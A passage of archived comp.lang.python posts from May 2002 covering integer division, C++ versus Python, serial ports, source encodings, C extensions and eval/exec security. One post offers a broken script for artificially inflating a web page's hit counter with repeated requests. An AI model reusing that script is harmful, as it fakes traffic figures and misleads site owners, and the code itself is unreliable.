Lai > >> I can roughly solve the diophantine problem by using a nest loop > > > >I'm not familiar with the "diophantine problem" and didn't, in a quick > >look, spot anything obvious to me stating it. > . > . > . > Rough translation: a solution in integers (to > a system of polynomial equations and constraints). Thank you for your precise explanation. The problem now I suffer is how can I write a new checking loop instead of using two FOR LOOPs as nest loop. I am really interested in that. I will be very grateful if anyone of you can give me some hints. From varney at collorado.edu Thu May 30 22:42:48 2002 From: varney at collorado.edu (Mike Varney) Date: Thu, 30 May 2002 20:42:48 -0600 Subject: Python program problem involving reading a web site. Message-ID: <ad6nvd$4mr$1@peabody.colorado.edu> Hello. I wrote a quick little program that is supposed to read the html from a web site and to update the web counter to show another hit. I am able to read the html code fine, but the counter on the web site is not updating. Here is the code. Any suggestions? Thanks. import urllib # imports url library from time import sleep # imports sleep timer # Initilize variables a = 0 t = 0 # User Input x = input("How many hits do you want to add to counter? ") t = input("How long do you want to pause between each hit? (Recommend > 1 min) ") # while loop while a < x: # open and reads page sock = urllib.geturl(http://foo.bar) hampage = sock.read() sock.close() print a sleep(t) a = a+1 # print goodbye print "you have increased the page count by " print a print "hits" From michael.williams at st-annes.oxford.ac.uk Sun May 12 12:16:14 2002 From: michael.williams at st-annes.oxford.ac.uk (Michael Williams) Date: Sun, 12 May 2002 17:16:14 +0100 Subject: Changing to future division sitewide References: <ablhh9$ii04e$1@ID-96223.news.dfncis.de> <R2tD8.151539$v7.14159046@bin6.nnrp.aus1.giganews.com> Message-ID: <abm4i5$ivak7$1@ID-96223.news.dfncis.de> On Sun, 12 May 2002 13:16:49 +0100, Terry Reedy wrote: >> We have a day (!) to teach the language so we are really keen on >> using the new division that returns a mathematically intuitive >> result > > However, to read other code, students must know of different solutions > to the int division problem, including Python's older/current one. > > I would explain briefly as follows: Int division is inherently messy. > Properly speaking, the answer is a tuple -- with a choice as to whether > remainders are always positive or sometimes negative. But we want a > single number, so we again have a choice -- drop the remainder and keep > integral part (which for negative answers can vary by one depending on > the remainer sign choice) -- or promote to rationals or floats that > allow fractional parts. Python (new) gives you easy access to three of > these choices -- (floor, positive remainder) tuple (divmod), floor (//), > and float fraction (/). We could do this but I'm keen to remove *anything* that doesn't have to be in. Although we are teaching *programming* and not *programming in Python*, and as such a probably teaching more than a beginner Python programmer needs to know (e.g. How to manipulate arrays elementwise using for loops rather than just using the built-in capabilities) this is one thing we could do without explaining. Our students are from a very mathematical background so will have no problem understanding the new behaviour. They already have all the new concepts associated with procedural programming to deal with so we thought we'd give them a break! >> However, our students will be using idlefork to program (both >> intereactively and in stored modules). Is there any way we can get the >> new division behaviour sitewide, > > If you can compile an interpreter, I would suspect this would be fairly > easy to do. > >>i.e. we would like the new behaviour in the following situations: > > However, that might be too universal. Indeed. Although there is virtually no installed code to break (I believe Numeric is // vs / friendly although Gnuplot.py might show up some subtle problems) tampering with the installed binaries is not something we'd want to do. >> 1) typing python at a command prompt (alias "python" to > "python -Qnew"?) > > How about py = python -Qnew instead, to keep this separate issue from > below. Good idea. We expect very view students to actually use it from the command line, although there is bound to be a few smart-arses who find it. >> 2) running a module they've saved (or indeed any module) > > Would all such modules be saved from idlefork? If so, see below. Yes. >> This might be problematic as it would presumably apply to all modules on >> the system which might break things--although this is a fresh install of >> Python. All we have here is Python 2.2.1, Numeric, Gnuplot.py (a Python >> wrapper of the Gnuplot program) and idlefork (which is the development >> version of idle). > >> 3) Someone using the interactive interpreter in idlefork > >> Presumably this is going to involve doing more than one thing if it ieven >> possible. We could always tell our students to put "from __future__ >> import division" at the start of every program > > I would aim at creating an 'idlepy' command which would bring up python in > -Qnew mode (assuming idlefork code itself is 'Qnew clean') with a > possibly-patched idlefork in mode in which *it* puts the magic incantation > at the start of every program. Automate the repetitive. > > I know nothing of idlefork at this time and do not know if it currently > has a switch to do this, but it certainly ought to. I would certainly > like a version that would do so. I suspect others would also. I'll take this discussion over to the idle-dev mailing list. -- Michael From shalehperry at attbi.com Wed May 8 16:50:44 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Wed, 08 May 2002 13:50:44 -0700 (PDT) Subject: sys.argv and while loop In-Reply-To: <20020508153634.I11183-100000@palanthas.neverending.org> Message-ID: <XFMail.20020508135044.shalehperry@attbi.com> On 08-May-2002 Frank Tobin wrote: > Sean 'Shaleh' Perry, on 2002-05-08, wrote: > >> Many times perl will "do the right thing(tm)" for you and without >> telling you. Sometimes you do not want this behaviour. Python >> generally does what you tell it to. > > 'generally'. > > As talked about in a recent thread about comparing strings and ints: > > Otherwise, objects of different types always compare unequal, and are > ordered consistently but arbitrarily. > "if September is greater than the moon: do_this()" makes no sense to me either. I do not fault the language for failures of programmers (-: From kseehof at neuralintegrator.com Thu May 23 08:17:15 2002 From: kseehof at neuralintegrator.com (Ken Seehof) Date: Thu, 23 May 2002 05:17:15 -0700 Subject: OT: off-topic In-Reply-To: <3CEC6B59.3E125BF2@replyto.address.invalid> Message-ID: <EFEFIHAINIINNELLHFAIKEBECGAA.kseehof@neuralintegrator.com> Greg wrote: > Mark Hadfield wrote: > > > > In view of the number of threads labelled OT in this group, > perhaps we need > > a new group: comp.lang.python.off-topic. > > Why stop at a Python-specific solution? Off-topic > postings are a problem in all newsgroups, so I > propose a single group: > > news.off-topic > > for all off-topic posts on any subject. The only > trouble is that, in that group, off-topic posts > would be *on* topic, and therefore not suitable > for news.off-topic... excuse me, my brain is > about to explode... And what about this message, which seeks to determine it's status as an off-topic post. Is this appropriate for news.off-topic? - Ken From mwh at python.net Thu May 9 07:04:30 2002 From: mwh at python.net (Michael Hudson) Date: Thu, 9 May 2002 11:04:30 GMT Subject: [Survey] Py Feedback References: <3cd9a9d9.196458672@news.newsguy.com> Message-ID: <lk4rhhvauj.fsf@pc150.maths.bris.ac.uk> cook at pyzine.com (Bryan Richard) writes: > Two parts to this email (1) gather a bit of feedback on Py (2) inform > those who aren't aware of Py that it is out there. Py is a print zine > for Python, blah, blah, blah www.PyZine.com. Some people like it. > > First, the first issue of Py has been out for a month or so. What's > right? What's wrong? Didn't buy it - why not? I bought it. Seemed nice enough. Will subscribe once I finish fighting with paypal... > Second, I've been in contact with distributors. The zine has been > received very well, and they feel there would be little problem in > getting it in Barnes & Noble, etc., once I fix one thing. The only > issue is the page count. The current # of pages is 16 and it needs to > be 40-60. At that size, we are talking about +10 articles + ads (if > possible) and a price hike. All and all, a considerable investment in > time and money on this side and a possible barrier to entry on your > side (higher price). Do you have enough material for ~200 pages a year? If you do, I'd feel less guilty about not writing an article for you yet... > Given all this, does anyone have an opinion on what the consumer > interest in a Python periodical might be? Keep it small; keep it on > the web? Up to you, really -- keep it going! > My thinking has always been that Py, and subsequently, Python, would > reach more people if it were in a bookstore. Perhaps I'm wrong. Perhaps. Cheers, M. -- I'm a keen cyclist and I stop at red lights. Those who don't need hitting with a great big slapping machine. -- Colin Davidson, cam.misc From tim_sleptsov at mtu-net.ru Sun May 26 14:45:40 2002 From: tim_sleptsov at mtu-net.ru (Timothey) Date: 26 May 2002 22:45:40 +0400 Subject: uspp References: <mailman.1022177682.17075.python-list@python.org> Message-ID: <86k7pq9297.fsf@mtu-net.ru> "David LeBlanc" <whisper at oz.net> writes: > What is the error message? This is error message: Error: 1 api_error Exception in Tk callback Function: <function callit at 0x00F591E0> (type: <type 'function'>) Args: () Traceback (innermost last): File "C:\Python22\Lib\site-packages\Pmw\Pmw_0_8_5\lib\PmwBase.py", line 1690, in __call__ return apply(self.func, args) File "C:\Program Files\Python22\lib\lib-tk\Tkinter.py", line 436, in callit apply(func, args) File "main.py", line 230, in loop self.ArrayCtl.update() File "arrayctl.py", line 47, in update answer_str = self.port.read(self.x.get_size()) File "C:\worx\worx\SerialPort_win.py", line 194, in read (hr, buff) = ReadFile(self.__handle, num) api_error: (87, 'ReadFile', '\xcf\xe0\xf0\xe0\xec\xe5\xf2\xf0 \xe7\xe0\xe4\xe0\xed \xed\xe5\xe2\xe5\xf0\xed\xee.') -- Best regards Timothey Sleptsov e-mail: tim_sleptsov at fromru.com tim_sleptsov at mtu-net.ru From robin at jessikat.fsnet.co.uk Mon May 13 05:09:43 2002 From: robin at jessikat.fsnet.co.uk (Robin Becker) Date: Mon, 13 May 2002 10:09:43 +0100 Subject: Comment on PEP 263 - Defining Python Source Code Encodings References: <GCEDKONBLEFPPADDJCOECEIBDBAA.whisper@oz.net> <mailman.1021103664.20500.python-list@python.org> <wa+NxjASoO38EwWU@jessikat.fsnet.co.uk> <m3g00y94zj.fsf@mira.informatik.hu-berlin.de> <abmj00$egf$0@216.39.172.122> Message-ID: <Z8vnoLAXL438EwRl@jessikat.demon.co.uk> In article <abmj00$egf$0 at 216.39.172.122>, Bengt Richter <bokr at oz.net> writes >On 11 May 2002 15:41:20 +0200, martin at v.loewis.de (Martin v. Loewis) wrote: >>Robin Becker <robin at jessikat.fsnet.co.uk> writes: >[...] >> >>> As for the PEP itself the only snag seems to me to be the BOM + comment >>> problem. If I change the BOM by hitting saveAs myWeirdEncoding the file >>> is a dead python unless I also change the comment (or is that an issue >>> only with utf8 at present?). >> >>I'm not sure I understand the problem. If you do saveAs >>myWeirdEncoding, there won't be a BOM in the file unless >>myWeirdEncoding is UTF-8. If there are multiple conflicting encoding >>specifications in a file, the file is in error. >> >I think Robin is alluding to something like the problem of an encoding- >conversion >save-as export filter utility fed with a script with a given encoding and >containing >a magic comment. If the utility is not magic-comment-syntax-aware and able to >change >the comment to reflect the new encoding, there would be a problem to fix >manually. ...... that was my intention, but I am not so well informed and was unable to get my point across. Demanding duplicated information seems intrinsically dangerous and making the comment the 'master' also seems odd if python can deal with some future extended BOM. Comments should surely just be hints or am I being stupid. > >Regards, >Bengt Richter -- Robin Becker From adam at gliwice.pl Thu May 23 15:54:05 2002 From: adam at gliwice.pl (Adam Przybyla) Date: Thu, 23 May 2002 19:54:05 +0000 (UTC) Subject: uspp References: <mailman.1022177682.17075.python-list@python.org> Message-ID: <acjhct$an$1@news.tpi.pl> David LeBlanc <whisper at oz.net> wrote: > What is the error message? ... try pyserial, it's better. Regards Adam Przybyla From aleax at aleax.it Sat May 4 04:06:55 2002 From: aleax at aleax.it (Alex Martelli) Date: Sat, 04 May 2002 08:06:55 GMT Subject: Python vs. Perl, which is better to learn? References: <mailman.1020147892.13578.python-list@python.org> <aaurk6$rir@web.eng.baileynm.com> <aavl5g$jf0$1@glue.ucr.edu> <MgLA8.2568$CN3.95258@news2.tin.it> <7ik7qks8eg.fsf@enark.csis.hku.hk> Message-ID: <zEMA8.2731$CN3.101018@news2.tin.it> Isaac To wrote: >>>>>> "Alex" == Alex Martelli <aleax at aleax.it> writes: > > Alex> For example, class and struct are two keywords which are exact > Alex> synonyms except for a different default visibility until the > first Alex> private/protected/public keyword in the class body -- this > should Alex> make it obvious that there is redundancy here. > > Then two comment styles (or actually, 3) is redundent? How much more Sure, completely redundant, obviously. > difficult to learn one more alias? Just like multiple comment style, they > serve to communicate programmers' intent: Multiple comment styles serve no "programmers' intent communication purpose" since different programmers will mix them according to different guidelines (or none). If you want to make your own in-rules for how to delineate such distinctions, there is still no added value in the language allowing you N different ways to comment (just say, e.g., that a comment starts with /*A if it's Alerting the reader of something, /*U if it's giving an URL to a relevant article, etc, etc -- up to you, really). > to differentiate those types > that are encapsulated and those that aren't. Again, the language draws no such distinction, and you're free to add your own in-house rules, but again, if you do, you gain no extra value due to the language's redundancy (much more productively you could specify that either 'private' or 'public' get specified *FIRST THING* in the class or struct: explicit is better than implicit). The line of reasoning you're trying to follow, that it's good for a language to specify two or more essentially identical ways to do the same thing, is just silly. Why don't you have both 'int' and 'integer' builtin types then? You could use them "to differentiate" e.g. those integers that count things from those which are just used for internal tagging or iteration purposes. Why not have a keyword 'loop' which is a complete synonym of 'while' -- you could use it "to communicate programmers' intent", e.g. 'while' for loops meant to run normally just a few times and 'loop' for those meant to run normally a lot of times. And so on, and so forth. It's just silly. It's not a language's business to add complication for no real purpose to let people develop in-house conventions about how to use redundant equivalent constructs, conventionally and artificially, in halfbaked attempts to "communicate intent". The ideal (unreachable, of course, at least as long as some additions are commutative and so a+b and b+a give the same result) should be to supply ONE good way to perform a task. ONE. Not zero. Not two. Get it? > Alex> since existing programs were using it by the time he convinced > Alex> himself the language would be better off without it. > > If a feature is "just for existing programs", new programmers usually are > free not to learn it. I see many who never learnt about C-style casts, > function pointers, etc. I've seen a few C++ programmers who tried that, and failed miserably any time they tried to study a C++ based book (e.g. about numerical computing, or data structures, or any specific technology such as COM, interface to some kind of database, networks, etc), because nobody had told the books' authors to avoid the language constructs those programmers had not learned. The same programmers were totally unable to maintain existing code, use any existing library, and so on -- pretty useless. Problem is that features in a language are NOT intrinsically flagged as "just for existing programs" (except perhaps if you use some deprecation idea such as Java's, which may be seen as a painful but necessary way to take stuff *OUT* gradually). Libraries, books, other programmers, etc, will thus keep using those features. To all intent and purposes, the features ARE in the language, and thus bloat it -- and to be an effective user of the language, you cannot avoid learning all about them (or else you'll keep tripping on your feet over and over again). > Alex> My own feeling is that C++ is probably as good as it could be > made Alex> considering the many constraints on it -- pity that those > Alex> constraints never included "and simple enough for human beings > to Alex> use well" > > It's not currently? I beg to differ. I see the only real thing currently My opinion is substantiated by many years of working as senior software consultant for an excellent software-development firm employing hundreds of very good programmers. A key part of my job was teaching those very good programmers to use our chosen technologies effectively. Now, these guys and gals were mostly expert in specific disciplines -- some about relational databases, some about three-dimensional constraints-based geometrical modeling, some about effective user interfaces, and so on, and so forth. Yet, they were all constrained to use C++ (a lamentable decision). I have seen the kinds of errors and misunderstandings generated by the language's sheer, huge complexity, and how it ate into people's productivity. Even the "real experts", me included, were never *100%* perfect in their grasp of the language's subtleties -- imagine somebody who has LOTS of other things to keep in mind, and is working on the leading edge of computational geometry innovating a geometrical kernel with some new and brilliant idea, why should HE (or she) be bothered to deal with a hugely complex language *in addition*? I might be biased from the fact that, of course, I was mostly called in for fire-fighting when some problem turned out to be too hard to deal with for the programmers directly involved. But the same 'bias' if any held for languages we used before C++ (Fortran and C) and ones we tried out experimentally later (Java, Visual Basic -- even Perl, but the story there is different). I know the few crucial issues that are error-prone in each of Fortran, C, Java, and VB6, for very good programmers whose expertise and interest is in other fields than 'programming languages', and they're quite easy to explain to those programmers so they can later avoid erring again. With C++, there's no such "small kernel of error causing things" easily avoided. The whole picture is *just too complex*. I kept reasonably accurate measurement of our experiments with Java, most particularly about my own productivity. That rose about 20% when using Java rather than C++, even though I was highly experienced at C++ (Brainbench MVP for C++, well within the top 1%, etc, etc), and at the time was little more than a beginner with Java. For other people (measurements less careful/accurate) I estimated performance gains of 30% to 40% (lesser grasp of Java, but of C++ as well, and the imperfect grasp bytes MUCH harder with C++ -- even though they might typically have been using C++ in production for two years, Java for two months). We didn't switch because those productivity gains were insufficient to cover all the technology risks of Java (we're talking about 1996 and the choice was probably right -- one of our competitors last year made a big publicity splash about having *reverted* one of their core products, once coded in C++ and later redone in Java, back to C++:-). But, I still found the numbers impressive -- not so much a plus of Java, as a minus of C++. It's *just too complex*. > causing trouble is the lack of of good standard library. Not just to deal That absolutely wasn't an issue at that firm, since we had our own libraries for all typical tasks you mention (DB interfacing, GUIs, networking, etc) or standardized on good existing ones. (e.g., the C++'s standard libraries for containers, with additions from such sources as SGI's STL, later Boost, etc). Indeed, much of my own Java work was ensuring we could interoperate with those existing libraries of ours from Java code (that's where I learned to hate JNI -- wish Swig had been available for Java then, but that's another story). Nor would it be an issue for a firm starting greenfield development now -- they might well choose (e.g.) Qt 3, and be extremely happy with it. No, it's a language issue far more than a library one. If C++ should next standardize the *interfaces* to such things as DB interfacing, this will surely be a good thing, and adopting just about all of Boost wholesale into the standard would also be nice. But it would not cure the language's inherent, too-high complexity. > But of course, this is a Python forum, so I'll stop advocating another > language. There's absolutely no problem with that. Most large, real-world Python applications, after all, need some extensions, which are most often developed in either C or C++. Not too long ago, I was convinced that C++ was preferable -- after all, one could use CXX or Boost (or maybe even sip, though I admit I never really learned THAT one) and reduce the boilerplate needed for pure-C interfacing. I'm not so sure any longer. If the developer and every future maintainer knows C++ inside out (it won't be 100%, I bet -- but 99.44% might suffice), then maybe the reasoning still holds. But if the interface needs to be developed or maintained by somebody whose grasp of C++ is more typical (90% down to inexistent), is it worth learning C++ for the purpose? Probably not, is my current working hypothesis (still quite revisable, of course). The moderate bother of having to deal with the C API directly is less than the substantial bother of having to learn and deal with C++'s complexity. Maybe Weave or something along those lines is even better then -- you can code plain C and have the interfacing boilerplate be codegenerated for you. Swig offers similar possibilities, of course. I'm not doing any substantial extensions right now, but surely they'll come up again in the future, so debates on these issues can hardly be a waste of time and energy -- all the more so, for readers who are right now actively contemplating such decisions, of course! Alex From whisper at oz.net Wed May 15 03:42:06 2002 From: whisper at oz.net (David LeBlanc) Date: Wed, 15 May 2002 00:42:06 -0700 Subject: Python install on Windows In-Reply-To: <3ce20dd4.685235640@news.skynet.be> Message-ID: <GCEDKONBLEFPPADDJCOEKEHADCAA.whisper@oz.net> AFAIK, AFAIK stand for "as far as I know" :-) David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of > henk.derudder at barconet.com > Sent: Wednesday, May 15, 2002 0:30 > To: python-list at python.org > Subject: Re: Python install on Windows > > > On Wed, 15 May 2002 09:02:17 +0200, "Thomas Heller" > <theller at python.net> wrote: > > >> I downloaded the installer for Python 2.2 from www.python.org > >> I just wondered whether the source files for that installation process > >> are available and if so, where I can find/get them. I could use it to > >> write an unattended installer to install just the interpreter and its > >> libraries. > > > >They are contained in the source distribution. AFIAK, there are a > >pcbuild.dsw file (which requires the commercial Wise > InstallBuilder), and the > >start of an installation script for the free Inno-setup. > > > >Thomas > > > Thanks, can you tell me what the free Inno-setup is all about? > Can I find the source distribution you mentioned on www.python.org? > And what does AFIAK stands for? > > Henk > > > > -- > http://mail.python.org/mailman/listinfo/python-list From pyth at devel.trillke.net Tue May 28 04:30:15 2002 From: pyth at devel.trillke.net (holger krekel) Date: Tue, 28 May 2002 10:30:15 +0200 Subject: eval vs. exec In-Reply-To: <B43D149A9AB2D411971300B0D03D7E8BF0A320@natasha.auslabs.avaya.com>; from tdelaney@avaya.com on Tue, May 28, 2002 at 06:16:35PM +1000 References: <B43D149A9AB2D411971300B0D03D7E8BF0A320@natasha.auslabs.avaya.com> Message-ID: <20020528103015.E17248@prim.han.de> Delaney, Timothy wrote: > > If your strings are coming from a public web-application > > it's a different matter, of course. But not everything is > > a web-application. > > In the particular case we are talking about, the strings are coming from an > external source - maybe not a public web application, but external > nonetheless. > > There is always a tradeoff of convenience vs security. Security is not just > malicious - it's also about accidents. A classic case is teaching. Students > tend to make more mistakes than professionals. It is very important to limit > the amount of damage they can do. A large part of this is giving them an > environment which is "safe" - limited disk quotas and privilege levels. If > they *cannot* cause damage, no matter what they do, then by all means give > them unlimited eval/exec access. Just don't be surprised when you find > someone accidentally DOSing your mission-critical server because you forgot > to unplug the student server from the network. This reminds of an accident on the german stock market last year. The all important DAX index dropped by IIRC 16% in a few minutes. They had a 'teaching' system which the students could use for practicing buying/selling stocks. It turned out that this teaching system was connected to the real thing and someone had justed ordered 5.000.000 stocks... Couldn't have been prevented by better exec/eval-handling, i guess :-) Seriously, i don't think we have much of a disagreement: If you are working on anything remotely mission critical, take care of (and probably avoid) execing/evaling stuff. Otherwise it's still good practice but maybe not worth it. regards, holger From jb at cascade-sys.com Thu May 9 14:03:25 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Thu, 09 May 2002 11:03:25 -0700 Subject: Hello Newb here References: <_ujC8.155$wG1.137@nwrddc04.gnilink.net> <g7jjduoppefjqsuiv0esctkbr500i9hars@4ax.com> <20020509104528.3beb6f04.logiplexsoftware@earthlink.net> Message-ID: <3CDAB9ED.6EB017F2@cascade-sys.com> Cliff Wells wrote: > Also, read the Python library documentation. Then read it again. If you can't > find inspiration for a few programs in there ("Hey, I could use that for...") > then you won't find it anywhere. This is excellent advice for another reason. You'll read things you don't fully understand at first but later you'll be programming and you'll remember that you saw something relevant in the doc. For people who don't like being tied to a computer screen to read documentation, I found the David Beazley book, _Python Essential Reference_ to be pretty handy for "bedtime" reading. It includes a good intro to the language and a survey of the more popular libraries. For the others, however, you'll still have to read about it online for the most part. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From spam at fisher.forestry.uga.edu Wed May 29 12:27:23 2002 From: spam at fisher.forestry.uga.edu (Chris Fonnesbeck) Date: 29 May 2002 09:27:23 -0700 Subject: multidimensional arrays from python to C Message-ID: <c3835e5f.0205290827.2e7ede69@posting.google.com> I am embedding some python code in C, and need to be able to take a multidim. array from python and assign its values to a global double array in C. Can this python array simply be cast into a C double type, and assigned to the array in question, or do I have to do a multiple-nested loop to assign each element individually. Hope this makes sense! For example, in C I have: double Fall[NA][NS][NG][NC][NP], where N* are constants and I have pulled in my python 5-dimensional array with: parray = (PyArrayObject *)(PyEval_CallObject(pmeth,pargs)); How do I get these values into Fall? TIA< cjf From kseehof at neuralintegrator.com Fri May 3 21:52:21 2002 From: kseehof at neuralintegrator.com (Ken Seehof) Date: Fri, 03 May 2002 18:52:21 -0700 Subject: Manifold (was RE: Unpacking a python list in C?) In-Reply-To: <lk1yct2sz4.fsf@pc150.maths.bris.ac.uk> Message-ID: <EFEFIHAINIINNELLHFAICELDCDAA.kseehof@neuralintegrator.com> Michael Hudson wrote: > Glad to hear it! I should really write some docs for the extending > and embedding manual... Many would be grateful. BTW, I have written a code generator (wizard) for extending: http://www.neuralintegrator.com/downloads/extwizard Unfortunately, it's a windows MS Visual C++ plug-in wizard. Potentially it could mutate into a multi-platform extension IDE with a wxPython GUI. > > I look forward to putting this stuff on SourceForge to get more > > feedback, when I get some free time. > > > > In case you're wondering, "manifold" is a new kind of list. > > So why's it called manifold then? To me manifold means "topological > space locally isomorphic to Euclidean space"... All the other good names are already taken :-). Manifold also means "many", which sort of connotes a list. But the mathematical definition that you describe is actually the reason I picked it. In a funny kind of way, my manifold type is analogous to a topological manifold. It is implemented as a two-dimensional quadruply linked list without edges (i.e. a discrete torus). When programming in C++ I have often used a one-dimensional version (a doubly linked list with no head or tail that forms a ring). The ring structure is better than a conventional doubly linked list because adding or removing at the beginning and end are not special cases. The manifold data structure could be extended to three or more dimensions but I haven't thought of any good reason for doing so. The theoretical ability to use additional dimensions in a manner analogous to a multi-dimensional discrete manifold enhances my choice of name. I am open to the possibility of renaming the whole thing if someone gives me a better name, or if this data structure has a name (I haven't ever seen it before). Of course, once I make an official SourceForge release, the names won't change. > > - safe deletion during iteration > > - O(constant) fast __contains__ (in) operator > > - global explicit object removal (fast) > > - python thread safe > > > > Basically it solves the problem of explicit removal of an object from > > all "lists" of which it is a member, especially in situations where > > object removal of any kind would normally be hazardous. I've been using > > it for a couple weeks, and it seems stable. The sequence initialization > > that I posted is one of a few recent additions for completeness. > > Not sure I really understand... can you show me how it's used? > > Cheers, > M. Sure. I just now put it on my web site. I still haven't gotten around to learning sourceforge (lazy again...) and anyway I need to make sure it's portable first (unfortunately, it's a Windows project right now). http://www.neuralintegrator.com/downloads/manifold This is released under the python style open source license. Consider this an unofficial pre-release for windows. Anything can change, and I won't promise backwards compatibility issues until I release a proper sourceforge version. Having made that disclaimer, I don't think the current syntax and semantics will change much. I wasn't planning to release it quite yet, but it beats trying to explain it. I a haven't written a multi-threaded stress test yet, but I am currently using it in a somewhat complex GUI that involved queues, trees, nested loops and user driven global object removal and it feels stable to me. Thanks to Michael Hudson for the manifold constructor improvement. I welcome any feedback people have (but I reserve the right to ignore any feedback for any reason). - Ken From cliechti at gmx.net Thu May 16 14:34:52 2002 From: cliechti at gmx.net (Chris Liechti) Date: 16 May 2002 20:34:52 +0200 Subject: serial port problem References: <7557b51f.0205161012.18df5304@posting.google.com> Message-ID: <Xns9210D1ADFF4E8cliechtigmxnet@62.2.16.82> sehamran at frisurf.no (seh) wrote in news:7557b51f.0205161012.18df5304 at posting.google.com: > I am trying to get my serial port working with python. > > I have installed and tried USPP, Sio32 and Pyserial. All of them > installs nicely and I get no errors using the commands. The only > problem is that my instrument in the other end does not respond to the > commands. I have tried on two different laptops one with W2000 and the > other with NT4.0. i'm using pyserial on linux, win98, NT4, 2000. can you post a short example of non working code? > When I do the same thing in Matlab on the same pc everything is > working nicely. > > Does anybody has any ideas on what I do wrong or what I do not do? Any > ideas on how to debug the problem? connect a terminal to the serial port and look what it sends. > Svein-Erik > -- Chris <cliechti at gmx.net> From mwh at python.net Wed May 29 07:17:13 2002 From: mwh at python.net (Michael Hudson) Date: Wed, 29 May 2002 11:17:13 GMT Subject: Python 2.2.1: os.popen() bug? References: <3CF21645.C760B615@snakefarm.org> <ad0bkd$2608$1@nntp6.u.washington.edu> Message-ID: <lkit57kxsn.fsf@pc150.maths.bris.ac.uk> "Donn Cave" <donn at u.washington.edu> writes: > If it had been for some reason writing to output, it would have > gotten a SIGPIPE. Not sure about context, but Python ignores SIGPIPEs by default. So this is probably not much use. Cheers, M. -- surely, somewhere, somehow, in the history of computing, at least one manual has been written that you could at least remotely attempt to consider possibly glancing at. -- Adam Rixey From loewis at informatik.hu-berlin.de Mon May 6 05:02:48 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 06 May 2002 11:02:48 +0200 Subject: Creating C modules for Python under Cygwin References: <3CD41CC4.5752F30C@wag.caltech.edu> <j43cx6ilpq.fsf@informatik.hu-berlin.de> <wDeB8.6725$zW3.177926@news1.tin.it> <m3n0veb5zj.fsf@mira.informatik.hu-berlin.de> <nYqB8.7824$zW3.204137@news1.tin.it> Message-ID: <j466217io7.fsf@informatik.hu-berlin.de> Alex Martelli <aleax at aleax.it> writes: > That has nothing to do with the DLL - vs - EXE choice, as far as I can > see, and everything to do with the choice of NAME for the executable > module you package Python's functionality into. If you named the EXE > PYTHON22.EXE and so on, you'd be "forcing extensions module" just as > much; vice versa, if you named the DLL PYTHON.DLL you would not be > forcing those modules to commit. It's not about the extension:-), > it's about the filename. Right. However, I believe that the DLL name contains the Python version so that multiple simultaneous Python installations are possible, especially when the Python DLL is put into the system directory. With python.exe, this would not be that much of a problem: there is no additional file (a pythonxy.dll) to be loaded that must match the version of the executable; all extensions would then be subject to the PYTHON_API_VERSION check. Regards, Martin From rdacker at pacbell.net Thu May 2 14:48:00 2002 From: rdacker at pacbell.net (bob ackerman) Date: Thu, 02 May 2002 11:48:00 -0700 Subject: module access In-Reply-To: <NCBBLFCOHHDIKCAFGCFBKEPEKNAA.marklists@mceahern.com> Message-ID: <2046B6DE-5DFD-11D6-A548-003065428126@pacbell.net> On Thursday, May 2, 2002, at 11:41 AM, Mark McEahern wrote: >> print '<A HREF="dirb/fileb.py' >> >> if the file this is in is called from outside the module i need the >> 'dirb' >> prefix. if called from within the module, having the prefix causes the > link >> to fail. > > I'm tempted to suggest that you try to take a step back and approach your > problem from a different angle. Why on earth should the package layout be > hard-coded into the hyperlink? It seems like a classic example of mashing > presentation and logic together too tightly. > > I'm sorry I can't think of anything more helpful to say. thanks, but how else would you set up a link to a module? how else get to that module using a link? anyway, i am thinking this is really an html problem, not python's. i need to tell the browser what directory is current so it knows how to handle the link. > Cheers, > > // mark > From bokr at oz.net Wed May 15 20:23:23 2002 From: bokr at oz.net (Bengt Richter) Date: 16 May 2002 00:23:23 GMT Subject: Upper memory limit References: <3CE0E6CE.E14291D7@kfunigraz.ac.at> <83y9el2hdh.fsf@panacea.canonical.org> Message-ID: <abuu5r$fip$0@216.39.172.122> On 15 May 2002 18:09:14 -0400, Kragen Sitaker <kragen at pobox.com> wrote: >Siegfried Gonzi <siegfried.gonzi at kfunigraz.ac.at> writes: >> I have a calculation (external C function included with the help of >> SWIG; external Fortran function included with the help of F2PY; some pre >> processed Lisp files; a dozen of binary satellite data files). One run >> of the code takes about 1 hour. The execution time is not the problem! >> Memory is not a problem too, but: it consumes after 1 hour 200 MB of >> RAM. If I start the calculation in the DOS shell I can see that Python >> gives memory back to the OS (I got the advice to start the calculation >> from the DOS line), but this is only for 2 runs the case. If I start the >> calculation for a third time I have to see that Python wreaks havoc. > >I have had a somewhat similar problem. If I create a dict containing >lots of small Numeric arrays, write the small arrays to a file, delete >the dict, and load the file as a large Numeric array, I get a >MemoryError. If I exit and restart Python between deleting the dict >and loading the file, it works fine. Would you try doing whatever_dict.clear() before deleting it, and see if that makes any difference? Here is some discussion on where it did make a difference: http://mail.python.org/pipermail/python-list/2002-February/088476.html Regards, Bengt Richter From pyth at devel.trillke.net Wed May 22 12:40:42 2002 From: pyth at devel.trillke.net (holger krekel) Date: Wed, 22 May 2002 18:40:42 +0200 Subject: reading directory entries one by one In-Reply-To: <acgf9v$kd4$1@slb0.atl.mindspring.net>; from dalke@dalkescientific.com on Wed, May 22, 2002 at 09:57:51AM -0600 References: <slrnael1a0.tm.msoulier@pmerd071.ca.nortel.com> <lksn4kbhww.fsf@pc150.maths.bris.ac.uk> <slrnaen70f.44l.msoulier@pmerd071.ca.nortel.com> <acgf9v$kd4$1@slb0.atl.mindspring.net> Message-ID: <20020522184042.C26513@prim.han.de> Andrew Dalke wrote: > Michael P. Soulier: > > I have a few with 4000+ files in them. There's enough memory on the box > to > >easily handle this, but it's still not efficient. > > "efficient"? What does that mean in this context? There are three > metrics I can think of: > - development time, but a list is far easier to understand and use than > an iterator. Eg, to sort given an iterator you need to put it in > a list() first. right, but if your application only *iterates* over entries then there is nothing to understand from the user-side (except for ill cases :-). > - memory size, for 4000+ files at, oh, 40 bytes per name/string is > 160K. Which is about 1/10 of what Python is using, and less than > 1/1000th of what most machines have. right. > - run time, it's likely faster for Python to build one list in a > go than have the iterator overhead there is currently no way to time that. What i also 